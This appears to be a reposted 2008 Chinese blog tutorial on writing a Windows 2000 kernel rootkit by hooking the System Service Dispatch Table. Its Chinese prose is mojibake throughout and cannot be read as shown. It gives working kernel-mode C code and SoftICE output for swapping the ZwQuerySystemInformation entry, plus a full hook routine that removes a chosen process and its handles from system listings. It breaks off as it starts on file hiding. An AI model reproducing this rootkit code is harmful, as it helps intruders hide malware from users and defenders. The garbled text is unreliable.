[杞澆]hook灝忕粨 http://www.shnenglu.com/saga/archive/2008/06/10/52802.htmlsaga.constantinesaga.constantineTue, 10 Jun 2008 13:55:00 GMThttp://www.shnenglu.com/saga/archive/2008/06/10/52802.htmlhttp://www.shnenglu.com/saga/comments/52802.htmlhttp://www.shnenglu.com/saga/archive/2008/06/10/52802.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/52802.htmlhttp://www.shnenglu.com/saga/services/trackbacks/52802.html
鎴戜滑瀹夊叏鐖卞ソ鑰咃紝閮芥帴瑙﹁繃Rootkit錛屽畠瀵規垜浠叆渚靛悗鐨勪繚鎶ゆ彁渚涗簡寮哄ぇ鐨勬敮鎸併傜幇浠婃瘮杈冩祦琛岀殑Rootkit鏈塇xdef錛孨tRootkit鍜孉FX Rootkit錛岃屼笖Hxdef鍜孉FX Rootkit榪樻彁渚涗簡婧愪唬鐮侊紝瀵規垜浠殑瀛︿範鎻愪緵浜嗗緢澶х殑鏂逛究銆傝繖浜汻ootkit閮芥槸浣跨敤HOOK鎶鏈疄鐜扮殑錛屾楠楃殑鏄敤鎴鳳紝鑰屼笉鏄搷浣滅郴緇熴備嬌鐢℉OOK寮鍙慠ootkit鏄瘮杈冪畝鍗曠殑錛岃櫧鐒剁幇鍦ㄤ篃鏈夊緢澶氬叾浠栫殑鎶鏈紝浣嗛棬妲涢兘澶珮錛屽緢澶氭妧鏈兘闇瑕佺‖緙栫爜錛屽浜庢垜絳夎彍楦燂紝瀹炲湪鏄病鏈夎繖涔堥珮娣辯殑鎶鏈傝孒OOK灝變笉鍚屼簡錛屽畠寮鍙戠畝鍗曪紝鍏煎鎬уソ錛岃屼笖瀹冨嚑涔庢槸浣犲湪緙栫▼閬撹礬涓婄殑涓欏瑰繀瀛︽妧鏈紝鍥犱負澶鍦版柟闇瑕丠OOK浜嗭紝浣跨敤HOOK寮鍙慠ootkit涓嶈繃鏄叾涓殑涓涓簲鐢ㄨ屽凡錛屼篃鏄涔燞OOK鐨勪竴欏規瘮杈冨ソ鐨勫疄璺墊満浼氥傚ソ浜嗭紝榪涘叆姝i錛屾湰鏂囨秹鍙婄殑鍐呭铏界劧涓嶆繁錛屼絾涔熼渶瑕佷綘鏈塛indows緙栫▼浠ュ強椹卞姩紼嬪簭璁捐鐨勫熀紜銆傚彟澶栵紝鏈枃鐨勬墍鏈夊唴瀹瑰潎鍦╓indows 2000 SP4涓嬫祴璇曟垚鍔燂紝濡傛棤鐗規畩鎻愮ず錛屾墍浠ュ唴瀹歸兘鏄互Windows 2000 SP4銆両ntel x86涓哄鉤鍙頒粙緇嶇殑銆?br>

涓銆佸簭璦


閽堝鏈枃寮鍙戠殑Rootkit錛屾垜浠父甯告妸瀹冪О浣淗ook System Call銆丼ysem Service Call鎴朣ystem Service Dispatching錛屾洿姝h鐨勮娉曟槸Hook Windows緋葷粺鏈嶅姟璋冪敤錛屽畠鏄郴緇熶腑鐨勪竴涓叧閿帴鍙o紝鎻愪緵浜嗙郴緇熺敱鐢ㄦ埛鎬佸垏鎹㈠埌鍐呮牳鎬佺殑鍔熻兘銆傛垜浠煡閬擄紝涓鑸鐞嗗櫒鍙互鎻愪緵浠嶳ing0鍒癛ing3鍥涚澶勭悊鍣ㄦā寮忥紝鍏朵腑蹇呴』鎻愪緵2縐嶏紝灝辨槸Ring0鍜孯ing3銆備竴浜涚壒孌婄殑澶勭悊鍣ㄦ寚浠ゅ彧鑳藉湪鍐呮牳妯″紡鎵ц錛屼竴浜涢珮绔唴瀛樹篃蹇呴』鍦ㄥ唴鏍告ā寮忎笅鎵嶈兘璁塊棶錛堝彲浠ラ氳繃鍐呭瓨鏄犲皠鐨勬柟娉曡В鍐籌紝璇峰弬鑰冨叾浠栨枃绔狅紝鏈枃涓嶅仛浠嬬粛錛夈俉indows緋葷粺灝辨槸鍒╃敤浜嗚繖2涓鐞嗗櫒妯″紡錛屽皢緋葷粺鐨勫叧閿粍浠朵繚鎶よ搗鏉ワ紝鍙湁鍦ㄥ唴鏍告ā寮忔墠鍙互璁塊棶錛屽茍鎻愪緵浜嗕竴涓笂灞傛帴鍙o紝渚涚敤鎴風▼搴忚闂紝涓鍒囬兘鏄湪MS鐨勭鐞嗕箣涓嬶紙鎮插搥鍟婏紒錛夈備笅闈㈡槸Windowx浣撶郴緇撴瀯鐨勭畝鐣ュ浘銆?br>

[-------------------Windowx浣撶郴緇撴瀯---------------------]
緋葷粺榪涚▼錛屾湇鍔¤繘紼嬶紝搴旂敤紼嬪簭錛岀幆澧冨瓙緋葷粺
搴旂敤紼嬪簭緙栫▼鎺ュ彛錛圓PI錛?br>鍩轟簬NTDLL.DLL鐨勬湰鍦扮郴緇熸湇鍔?br>錛堢敤鎴鋒ā寮忥級
---------------------------------------------------------------
錛堝唴鏍告ā寮忥級
緋葷粺鏈嶅姟璋冪敤錛圫SDT錛?br>鎵ц浣擄紙Executive錛?br>緋葷粺鍐呮牳錛岃澶囬┍鍔紙Kernel錛?br>紜歡鎶借薄灞傦紙HAL錛?br>

浜屻乄indows緋葷粺鏈嶅姟璋冪敤


1.鏈哄埗
Windows 2000鐨勯櫡闃辮皟搴︼紙Trap Dispatching錛夋満鍒跺寘鎷簡錛氫腑鏂紙Interrupt錛夛紝寤惰繜榪囩▼璋冪敤錛圖eferred Procedure Call錛夛紝寮傛榪囩▼璋冪敤錛圓synchronous Procedure Call錛夛紝寮傚父璋冨害錛圗xception Dispatching錛夊拰緋葷粺鏈嶅姟璋冪敤錛圫ystem Service Call錛夈傚湪Intel x86騫沖彴鐨刉indows 2000浣跨敤int 0x2e鎸囦護榪涘叆Windows緋葷粺鏈嶅姟璋冪敤錛沇indows XP浣跨敤sysenter鎸囦護浣跨郴緇熼櫡鍏ョ郴緇熸湇鍔¤皟鐢ㄧ▼搴忎腑錛涜孉MD騫沖彴鐨刉indows XP緋葷粺浣跨敤syscall鎸囦護榪涘叆Windows緋葷粺鏈嶅姟璋冪敤銆備笅闈㈡槸Intel x86騫沖彴鐨刉indows 2000鐨勭郴緇熸湇鍔¤皟鐢ㄦā鍨嬨?br>

mov eax, ServiceId
lea edx, ParameterTable
int 2eh
ret ParamTableBytes


鍏朵腑ServiceId鏄紶閫掔粰緋葷粺鏈嶅姟璋冪敤紼嬪簭鐨処D鍙鳳紝鍐呮牳浣跨敤榪欎釜ID鍙鋒潵鏌ユ壘緋葷粺鏈嶅姟璋冨害琛紙System Service Dispath Table錛変腑鐨勫搴旂郴緇熸湇鍔′俊鎭傚湪緋葷粺鏈嶅姟璋冨害琛ㄤ腑錛屾瘡涓欏歸兘鍖呭惈浜嗕竴涓寚鍚戝叿浣撶殑緋葷粺鏈嶅姟紼嬪簭鐨勬寚閽堬紝鎴戜滑灝辨槸闇瑕丠OOK榪欎釜鎸囬拡錛屼嬌鍏舵寚鍚戞垜浠嚜瀹氫箟鐨勪唬鐮侊紙紼嶅悗浼氳榪幫級銆侾arameterTable鏄紶閫掔殑鍙傛暟錛岀郴緇熸湇鍔¤皟鐢ㄧ▼搴廗iSystemService鍑芥暟浼氫弗鏍兼鏌ヤ紶閫掔殑姣忎竴涓弬鏁幫紝騫跺皢鍏跺弬鏁頒粠綰跨▼鐨勭敤鎴峰唴瀛樹腑澶嶅埗鍒扮郴緇熺殑鍐呭瓨涓紝浠ヤ究鍐呮牳鍙互璁塊棶銆傛墽琛岀殑int鎸囦護浼氬鑷撮櫡闃卞彂鐢燂紝鎵浠indows 2000鍐呯殑涓柇鎻忚堪琛紙Interrupt Descriptor Table錛変腑鐨?x2e鎸囧悜浜嗙郴緇熸湇鍔¤皟鐢ㄧ▼搴忋傛渶鍚庣殑ParamTableBytes鏄繑鍥炵殑鍙傛暟涓暟鐨勪俊鎭?br>
鍏跺疄錛岀郴緇熸湇鍔¤皟鐢ㄤ篃鏄竴涓帴鍙o紝鏄潰鍚慦indows鍐呮牳鐨勬帴鍙c傚畠瀹炵幇浜嗗皢鐢ㄦ埛妯″紡涓嬬殑璇鋒眰杞彂鍒板唴鏍告ā寮忎笅錛屽茍寮曞彂浜嗗鐞嗗櫒妯″紡鐨勫垏鎹€傚湪鐢ㄦ埛鐪嬫潵錛岀郴緇熸湇鍔¤皟鐢ㄥ氨鏄笌Windows鍐呮牳閫氫俊鐨勪竴涓ˉ姊併?br>
2.綾誨瀷
鍦╓indows 2000涓粯璁ゅ瓨鍦ㄤ袱涓郴緇熸湇鍔¤皟搴﹁〃錛屽畠浠搴斾簡涓ょ被涓嶅悓鐨勭郴緇熸湇鍔°傝繖涓や釜緋葷粺鏈嶅姟璋冨害琛ㄥ垎鍒槸錛欿eServiceDescriptorTable鍜孠eServiceDescriptorTableShadow銆傚墠鑰呮湁ntoskrnl.exe瀵煎嚭錛屽悗鑰呯敱Win32k.sys瀵煎嚭銆傚湪緋葷粺涓紝鏈変笁涓狣LL鏄渶閲嶈鐨勶細Kernel32.dll銆乁ser32.dll鍜孏di32.dll錛岃繖浜汥LL瀵煎嚭鐨勫嚱鏁幫紝閮芥槸閫氳繃鏌愮綾誨瀷鐨勪腑鏂繘鍏ュ唴鏍告侊紝鐒跺悗璋冪敤ntoskrnl.exe鎴朩in32k.sys涓殑鍑芥暟銆傚嚱鏁癒eAddSystemServiceTable鍏佽Win32.sys鍜屽叾浠栬澶囬┍鍔ㄧ▼搴忔坊鍔犵郴緇熸湇鍔¤〃銆傞櫎浜哤in32k.sys鏈嶅姟琛ㄥ錛屼嬌鐢↘eAddSystemServiceTable娣誨姞鐨勬湇鍔¤〃浼氳鍚屾椂澶嶅埗鍒癒eServiceDescriptorTable鍜孠eServiceDescriptorTableShadow涓幓銆?br>
鈼忔敞錛氱敱浜庢湰鏂囩殑Rootkit鍙拡瀵筀eServiceDescriptorTable錛孠eServiceDescriptorTableShadow鍙細紼嶅井鎻愬強涓浜涳紝涓嶄細璇﹁堪銆傗棌

鍙﹀鍦ㄦ彁涓涓嬶紝NTDLL.DLL鍜宯toskrnl.exe鐨勫叧緋誨緢“寰”錛岀敤鎴鋒佸拰鍐呮牳鎬佺殑璋冪敤涔熸槸鏈夊垎鍒殑錛屾瘮濡傦細鍙傛暟媯鏌ャ傝繕鏈塏ative API瀵煎嚭浜?濂楀嚱鏁幫細Zw***鍜孨t***錛岃鎯沖交搴曚簡瑙h繖浜涘唴瀹癸紝鎺ㄨ崘鐪婼unwear鍐欑殑銆婃祬鏋愭湰鏈篈PI銆嬶紝鎴戜滑鐨勮鍧涘師鍒涚増鏈夎繖綃囨枃绔?a target=_blank>http://www.eviloctal.com/forum/index.php銆?br>
緇間笂鎵榪幫紝Kernel32.dll/Advapi32.dll榪涘叆NTDLL.DLL鍚庯紝浣跨敤int 0x2e涓柇榪涘叆鍐呮牳錛屾渶鍚庡湪ntoskrnl.exe涓疄鐜頒簡鐪熸鐨勫嚱鏁拌皟鐢紱User32.dll鍜孏di32.dll鍒欏湪Win32k.sys涓疄鐜頒簡鐪熸鐨勫嚱鏁拌皟鐢ㄣ?br>

涓夈丠OOK緋葷粺鏈嶅姟


HOOK緋葷粺鏈嶅姟錛岄鍏堥渶瑕佸畾浣嶇郴緇熸湇鍔¤皟搴﹁〃錛岃繖閲岄渶瑕佷竴涓湭鍏紑鐨刵toskrnl.exe瀵煎嚭鍗曞厓KeServiceDescriptorTable錛屽畠瀵瑰簲涓涓畝鍗曠殑鏁版嵁緇撴瀯錛屼嬌鐢ㄥ畠瀹屾垚瀵圭郴緇熸湇鍔¤皟搴﹁〃鐨勪慨鏀廣?br>

typedef struct servicetable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParamerterTableBase;
}ServiceDescriptorTableEntry,*PServiceDescriptorTableEntry;


ServiceTableBase鎸囧悜緋葷粺鏈嶅姟紼嬪簭鐨勫湴鍧錛屾垜浠渶瑕佸瀹冭繘琛孒OOK錛屼嬌榪欎釜鍦板潃鎸囧悜鎴戜滑鐨勪唬鐮併侾aramerterTableBase鏄弬鏁板垪琛ㄧ殑鍦板潃錛屽畠浠兘鍖呭惈浜哊umberOfService榪欎箞澶氫釜鍗曞厓銆?br>
鎴戜滑鍏堢敤SoftICE鍒嗘瀽涓涓嬬郴緇熸湇鍔¤皟搴﹁〃銆備嬌鐢╪tcall鍛戒護鍙互鍒楀嚭緋葷粺涓殑緋葷粺鏈嶅姟璋冨害琛紝浣嗕笉鍚岀殑緋葷粺錛屼笉鍚岀殑SP琛ヤ竵錛岀郴緇熸湇鍔¤皟搴﹁〃鑲畾鏄笉浼氱浉鍚岀殑錛屽洜涓篗S闅忔椂閮戒細淇敼姝よ〃銆侼tcall鍛戒護鐨勮緭鍑虹被浼艱繖鏍鳳細

000A 0008:8049860A params=06 NtAdjustPrivilegesToken

000A鏄畠鐨勫簭鍙鳳紝8049860A鏄叾鍦板潃錛宲arams=06琛ㄧず鏈?涓弬鏁幫紝NtAdjustPrivilegesToken灝辨槸鍑芥暟鍚嶄簡錛屽搴旂殑API鏄疉djustPrivilegesToken銆俉in32k.sys瀵煎嚭鐨勭郴緇熸湇鍔¤皟搴﹁〃浣嶄簬KeServiceDescriptorTable+50h澶勶紝ServiceID浠?000h寮濮嬶紝鍏剁粨鏋勫熀鏈拰ntoskrnl.exe涓鏍楓傛垜浠叿浣撶湅涓涓嬶紝鐢變簬SoftICE鐨勮緭鍑洪潪甯稿錛岃繖閲屽彧鑺傞変竴灝忛儴鍒嗐?br>

:dd KeServiceDescriptorTable l 4*4
//濡傛灉瑕佹煡鐪媁in32k.sys錛屽垯浣跨敤dd KeServiceDescriptorTable+50 l 4*4
0008:8047F7E0 80471128 00000000 000000F8 8047150C ……
……

8047F7E0涓篕eServiceDescriptorTable鐨勫湴鍧錛?0471128涓篠erviceTableBase鐨勫湴鍧錛?00000F8涓篘umberOfService錛?047150C涓篜aramerterTableBase銆?br>
:dd @KeServiceDescriptorTable l byte(@(KeServiceDescriptorTable+08))*4
0008:80471128 804C3D66 804F7F84 804FADF2 804F7FAE ……
……

80471128鍦板潃澶勪負ServiceID=0鐨勭郴緇熸湇鍔″叆鍙e湴鍧銆傚湪鏉ョ湅涓涓嬪弬鏁板垪琛ㄣ?br>
:dd @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 2C2C2018 44402C40 0818180C 100C0404 ……
:db @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 18 20 2C 2C 40 2C 40 44 0C 18 18 08 04 04 0C 10 ……


18 20 2C 2C錛岃繖閲岀殑18琛ㄧず鍙傛暟涓暟錛屽嵆18h/4=6銆傛牴鎹笂闈㈢殑鍒嗘瀽錛屾垜浠彧瑕佷慨鏀筍erviceTableBase鍒癝erviceTableBase+NumberOfService*4鑼冨洿鐨勬暟鎹氨鍙互鏀瑰彉緋葷粺鏈嶅姟鐨勬墽琛屾祦紼嬶紱淇敼ServiceID灝卞彲浠ユ敼鍙樿繖涓涓郴緇熸湇鍔$殑鍏ュ彛鍦板潃錛屾垜浠wQuerySystemInformation涓轟緥璇存槑涓涓嬨?br>

:u ZwQuerySystemInformation
ntoskrnl!ZwQuerySystemInformation
0008:8042F288 MOV EAX, 00000097
0008:8042F280 LEA EDX, [ESP+04]
0008:8042F291 INT 2E
0008:8042F293 RET 0010


浣跨敤ZwQuerySystemInformation鐨勭嚎鎬у湴鍧+1錛屽氨鍙互瀹氫綅ServiceID錛屽嵆鍏ュ彛鍦板潃錛屽皢榪欎釜鍦板潃鎸囧悜鎴戜滑鐨勫嚱鏁幫紝灝卞ぇ鍔熷憡鎴愪簡銆傞鍏堥渶瑕佸皢KeServiceDescriptorTable寮曞叆錛岃繖鏍鋒墠鑳芥搷浣滅郴緇熸湇鍔¤皟搴﹁〃銆?br>
__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;


鐒跺悗瀹氫箟涓涓畯錛屽弬鏁版槸闇瑕丠OOK鍑芥暟鐨勭嚎鎬у湴鍧銆?br>
#define SYSCALL(_Function)
KeServiceDescriptorTable.ServiceTableBase[*(ULONG *)((UCHAR *)_Function+1)]


灝哶Function+1鍗沖彲紜畾ServiceID鐨勪綅緗紝鍗沖湪緋葷粺鏈嶅姟璋冨害琛ㄤ腑鐨勫叆鍙e湴鍧銆傛湁浜嗚繖涓畯錛屽氨鍙互“鑷敱”鐨勫皢鍦板潃鎸囧悜“浠諱綍”浣嶇疆錛屾垜浠wQuerySystemInformation涓轟緥榪涜婕旂ず銆傞鍏堝畾涔変竴涓猼ypedef鍑芥暟鎸囬拡錛岀敤浜庝繚瀛樺師ZwQuerySystemInformation鐨勫湴鍧銆?br>

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION) (
IN ULONG SystemInformationClass,
……);



澹版槑ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 鐒跺悗瀹氫箟HOOK鍑芥暟銆?br>

NTSTATUS NewZwQuerySystemInformation (
……);


鏈鍚庤繕宸竴涓嚎鎬у湴鍧鐨勫嚱鏁幫紝榪欎釜鍑芥暟闇瑕侀伒寰狣DK鍑芥暟鐨勮皟鐢ㄧ害瀹氾紝瀹冧粈涔堝伐浣滈兘涓嶅仛錛屽彧鏄府鍔╂垜浠緱鍒扮嚎鎬у湴鍧錛岃繘鑰屽湪緋葷粺鏈嶅姟璋冨害琛ㄤ腑鎵懼埌鍏ュ彛鍦板潃銆?br>

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
……);


涓囦簨鍏峰錛屽彧嬈犱笢椋庛備嬌鐢⊿YSCALL瀹忎繚瀛樺師鍑芥暟鍦板潃錛岀劧鍚庢寚鍚戞柊鍑芥暟銆?br>

OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); //淇濆瓨鍘熷嚱鏁板湴鍧

_asm cli

(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=NewZwQuerySystemInformation; //鎸囧悜鏂板嚱鏁?br>
_asm sti


榪樺師鐨勬椂鍊欏彧闇灝哋ldZwQuerySystemInformation鐨勫湴鍧鎸囧悜ServiceTableBase鍗沖彲銆?br>

_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=OldZwQuerySystemInformation; //榪樺師

_asm sti


榪欐牱灝卞彲浠OOK鎴愬姛浜嗐傚叾瀹炴兂鎯籌紝涓嶈繃鏄嬌鐢℉OOK鍑芥暟鐨勭嚎鎬у湴鍧紜畾鍦ㄧ郴緇熸湇鍔¤皟搴﹁〃涓殑鍏ュ彛鍦板潃錛岀劧鍚庡皢榪欎釜鍏ュ彛鍦板潃鎸囧悜鏂板嚱鏁版垨鏃у嚱鏁幫紝鐢⊿oftICE鐪嬬湅HOOK鍓嶅悗鐨勭郴緇熸湇鍔¤皟搴﹁〃灝辨槑鐧戒簡銆?br>
涓嬮潰鐨勫唴瀹瑰氨鏄叿浣撳紑鍙戜簡錛屽寘鎷殣钘忚繘紼嬶紝鏂囦歡/鐩綍錛岀鍙o紝娉ㄥ唽琛紝鍐呮牳妯″潡錛屾湇鍔?椹卞姩錛岀敤鎴鳳紝闇瑕佽涓涓嬬殑鏄紝闅愯棌鏈嶅姟/椹卞姩錛岀敤鎴鋒槸鐢ㄦ埛鎬佺殑HOOK錛屽湪闅愯棌鏈嶅姟鐨勭珷鑺備腑錛屾垜浼氫粙緇嶇敤鎴鋒佺殑HOOK錛屽叾浠栭兘鏄湪鍐呮牳涓嬪畬鎴愮殑銆?br>

鍥涖侀殣钘忚繘紼?br>

鎴戜滑騫沖父鏋氫婦榪涚▼錛岄兘鏄嬌鐢℉elpTool搴撱丳sapi搴撲腑鐨勫嚱鏁幫紝榪欎簺鍑芥暟鏈緇堜細璋冪敤ZwQuerySystemInformation鍑芥暟錛屾墍浠ュ彧瑕丠OOK榪欎釜鍑芥暟錛屽氨鍙互闅愯棌榪涚▼錛屼嬌綾諱技浠誨姟綆$悊鍣ㄨ繖鏍風殑宸ュ叿涓嶄細鍙戠幇闅愯棌鐨勮繘紼嬨侶OOK鐨勬柟娉曞墠杈瑰凡緇忚榪囷紝鎵浠ヨ繖閲屽彧緇欏嚭HOOK鍚庡嚱鏁扮殑澶勭悊浠g爜錛屽緢濂界悊瑙c?br>
棣栧厛璇磋ZwQuerySystemInformation鍑芥暟錛屼嬌鐢ㄥ畠鍙互鏌ヨ璇︾粏鐨勭郴緇熶俊鎭紝淇℃伅綾誨瀷澶氳揪54縐嶏紝鎴戜滑鍦ㄧ敤鎴鋒佷嬌鐢ㄧ殑寰堝鏌ヨ緋葷粺淇℃伅鐨凙PI錛屽叾瀹炴渶緇堥兘鏄皟鐢ㄧ殑瀹冦傚湪榪?4縐嶆煡璇㈢被鍨嬩腑錛屽寘鍚繘紼嬩俊鎭殑鏈?涓紝涓涓槸淇℃伅綾誨瀷涓?錛屽彟涓涓垯涓?6錛屽墠鑰呬負緋葷粺鐨勮繘紼嬩俊鎭紝鍚庤呬負緋葷粺鐨勫彞鏌勮〃錛屽叾涓寘鍚繘紼婭D銆傝繖2涓煡璇俊鎭殑鏂規硶鏄笉鍚岀殑錛屾墍浠ヨ鍒嗗埆HOOK銆備笅闈㈡槸ZwQuerySystemInformation鍑芥暟鐨勫師鍨嬨?br>
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
IN ULONG SystemInformationClass, //鑾峰彇鐨勭郴緇熶俊鎭被鍒?br>IN OUT PVOID SystemInformation, //榪斿洖鐨勪俊鎭寚閽?br>IN ULONG SystemInforamtionLength, //闀垮害
OUT PULONG ReturnLength OPTIONAL); //瀹為檯鐨勭紦鍐插尯澶у皬

濡傛灉SystemInformationClasss涓?錛岄偅涔圫ystemInformation浼氳繑鍥炰笅闈㈣繖涓粨鏋勩?br>
typedef struct system_porcess
{
ULONG NextEntryDelta; //榪涚▼鍋忕Щ
ULONG ThreadCount; //綰跨▼鏁?br>ULONG Reserved1[6]; //淇濈暀
LARGE_INTEGER CreateTime; //榪涚▼鍒涘緩鏃墮棿
LARGE_INTEGER KernelTime; //鍐呮牳鍗犵敤鏃墮棿
LARGE_INTEGER UserTime; //鐢ㄦ埛鍗犵敤鏃墮棿
UNICODE_STRING ProcessName; //榪涚▼鍚?br>KPRIORITY BasePriority; //浼樺厛綰?br>ULONG ProcessId; //榪涚▼ID
ULONG InheritedProcessId; //鐖惰繘紼婭D
ULONG HandleCount; //鍙ユ焺鏁?br>ULONG Reserved2[2]; //淇濈暀
VM_COUNTERS VmCounters; //VM淇℃伅
IO_COUNTERS IoCounters; //IO淇℃伅
SYSTEM_THREAD SystemThread[1]; //綰跨▼淇℃伅
}SYSTEM_PROCESS,*LPSYSTEM_PROCESS;

濡傛灉SystemInformationClasss涓?6錛屽垯榪斿洖涓嬮潰榪欎釜緇撴瀯銆?br>typedef struct system_handle_entry
{
ULONG ProcessId; //榪涚▼ID
UCHAR ObjectType; //鍙ユ焺綾誨瀷
UCHAR Flags; //鏍囧織
USHORT HandleValue; //鍙ユ焺鐨勬暟鍊?br>PVOID ObjectPointer; //鍙ユ焺鎵鎸囧悜鐨勫唴鏍稿璞″湴鍧
ACCESS_MASK GrantedAccess; //璁塊棶鏉冮檺
}SYSTEM_HANDLE_ENTRY,*LPSYSTEM_HANDLE_ENTRY;

typedef struct system_handle_info
{
ULONG Count; //緋葷粺鍙ユ焺鏁?br>SYSTEM_HANDLE_ENTRY Handle[1]; //鍙ユ焺淇℃伅
}SYSTEM_HANDLE_INFORMATION,*LPSYSTEM_HANDLE_INFORMATION;

瀵逛簬淇℃伅綾?錛屾垜浠渶瑕佹敼鍙楴extEntryDelta緇撴瀯鎴愬憳錛屽畠鏄繘紼嬪垪琛ㄧ殑鍋忕Щ鍦板潃銆傛瘮濡傜涓涓繘紼嬩俊鎭湪SystemInformation+0澶勶紝閭d箞絎簩涓俊鎭氨鍦⊿ystemInformation+絎竴涓狽extEntryDelta澶勶紝渚濇綾繪帹錛屾渶鍚庝竴涓繘紼嬩俊鎭殑NextEntryDelta灝變負0浜嗐備篃灝辨槸璇達紝濡傛灉瑕侀殣钘忕涓涓繘紼嬶紝灝卞悜鍓嶇Щ鍔ㄧ紦鍐插尯錛岀Щ鍔ㄧ殑闀垮害鏄涓涓繘紼嬩俊鎭粨鏋勭殑澶у皬錛涘鏋滆闅愯棌涓棿鐨勮繘紼嬶紝鍒欏鍔犱竴涓狽extEntryDelta錛屽氨鍙互瑕嗙洊鎺夎闅愯棌鐨勮繘紼嬩俊鎭粨鏋勶紱濡傛灉瑕侀殣钘忔渶鍚庝竴涓繘紼嬶紝灝哊extEntryDelta璁劇疆涓?灝卞彲浠ヤ簡銆?br>
瀵逛簬淇℃伅綾?6錛屽氨娌℃湁浠涔堝亸縐誨湴鍧浜嗭紝鑰屾槸涓涓畬鏁寸殑緙撳啿鍖猴紝鎴戜滑瑕侀殣钘忛偅涓彞鏌勶紝灝卞悜鍓嶇Щ鍔⊿YSTEM_HANDLE_ENTRY緇撴瀯鐨勫ぇ灝忥紝瑕嗙洊鎺夎闅愯棌鐨勬暟鎹?br>
NTSTATUS NewZwQuerySystemInformation (
IN ULONG SystemInformationClass,
……)
{
......
//璇鋒眰鍘熷嚱鏁?br>ntStatus=(OldZwQuerySystemInformation)(SystemInformationClass,……);

//SystemInformationClass==16 鏋氫婦緋葷粺鍙ユ焺琛?br>if (NT_SUCCESS(ntStatus) && SystemInformationClass==16)
{
//鎸囧悜鍙ユ焺琛ㄧ紦鍐插尯
lpSystemHandle=(LPSYSTEM_HANDLE_INFORMATION)SystemInformation;
Num=lpSystemHandle->Count; //鍙栧緱緋葷粺鍙ユ焺鏁?br>
for (n=0; n<Num; n++)
{
//姣旇緝鍙ユ焺琛ㄤ腑鐨勮繘紼婭D
if (HIDDEN_SYSTEM_HANDLE==lpSystemHandle->Handle[n].ProcessId)
{
//鍚戝墠縐誨姩鍙ユ焺琛ㄧ紦鍐插尯
memcpy((lpSystemHandle->Handle+n),(lpSystemHandle->Handle+n+1),
(Num-n-1) * sizeof (SYSTEM_HANDLE_ENTRY));
Num--; //鎬繪暟瑕?-
n--;
}
}
}

//SystemInformationClass==5 鏋氫婦緋葷粺榪涚▼
if (NT_SUCCESS(ntStatus) && SystemInformationClass==5)
{
//鎸囧悜榪涚▼鍒楄〃緙撳啿鍖?br>ProcCurr=(LPSYSTEM_PROCESS)SystemInformation;
while (ProcCurr)
{
RtlUnicodeStringToAnsiString(&ProcNameAnsi,&ProcCurr->ProcessName,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_PROCESS,ProcNameAnsi.Buffer,
strlen(ProcNameAnsi.Buffer))==0)
{
//縐誨姩榪涚▼鍋忕ЩNextEntryDelta
if (ProcPrev)
{
if (ProcCurr->NextEntryDelta)
ProcPrev->NextEntryDelta+=ProcCurr->NextEntryDelta;
else
ProcPrev->NextEntryDelta=0;
}
else
{
if (ProcCurr->NextEntryDelta)
SystemInformation=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
SystemInformation=NULL;
}
}

ProcPrev=ProcCurr;
//涓嬩竴榪涚▼
if (ProcCurr->NextEntryDelta)
ProcCurr=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
ProcCurr=NULL;
}
}

……
return ntStatus;
}

HIDDEN_SYSTEM_HANDLE鍜孒IDDEN_SYSTEM_PROCESS鏄?涓畯錛屽垎鍒負闅愯棌鐨勮繘紼婭D鍜岃繘紼嬪悕銆備笅闈粙緇嶉殣钘忔枃浠?鐩綍銆?br>

浜斻侀殣钘忔枃浠?鐩綍


鏋氫婦鏂囦歡浣跨敤ZwQueryDirectoryFile鍑芥暟錛屽叾鍘熷瀷濡備笅錛?br>
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile (
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN ReturnOnlyOneEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartQuery);

hFile涓烘枃浠跺彞鏌勶紝鐢盳wCrateFile鎴朲wOpenFile鑾峰緱錛孎ileInfoClass鏄竴涓笉鏂彉鍖栫殑鏋氫婦綾誨瀷錛屼絾鍙湁4涓悓鏂囦歡/鐩綍鏈夊叧銆侳ileInformationBuffer鏄繑鍥炵殑淇℃伅鎸囬拡銆傛垜浠闅愯棌鏂囦歡/鐩綍錛屽氨瑕佸鐞嗚繖4涓笉鍚岀殑鏋氫婦綾誨瀷錛屽畠浠殑鏁板煎垎鍒槸錛?銆?銆?鍜?2錛屽垎鍒搴?涓笉鍚岀殑緇撴瀯錛岀敱浜庣粨鏋勫唴瀹規瘮杈冮暱錛屾墍浠ュ彧浠嬬粛淇℃伅綾諱負12鐨勫唴瀹癸紝鍏朵粬鍙互鍦ㄥ厜鐩樹腑鐨凢ileInfo.txt涓壘鍒般備俊鎭被涓?2榪斿洖鐨勭粨鏋滃涓嬶細

typedef struct file_name_info {
ULONG NextEntryOffset; //鏂囦歡鍋忕Щ
ULONG Unknown; //涓嬩竴鏂囦歡绱㈠紩
ULONG FileNameLength; //鏂囦歡闀垮害
WCHAR FileName[1]; //鏂囦歡鍚?br>}FILE_NAMES_INFORMATION,*LPFILE_NAMES_INFORMATION;

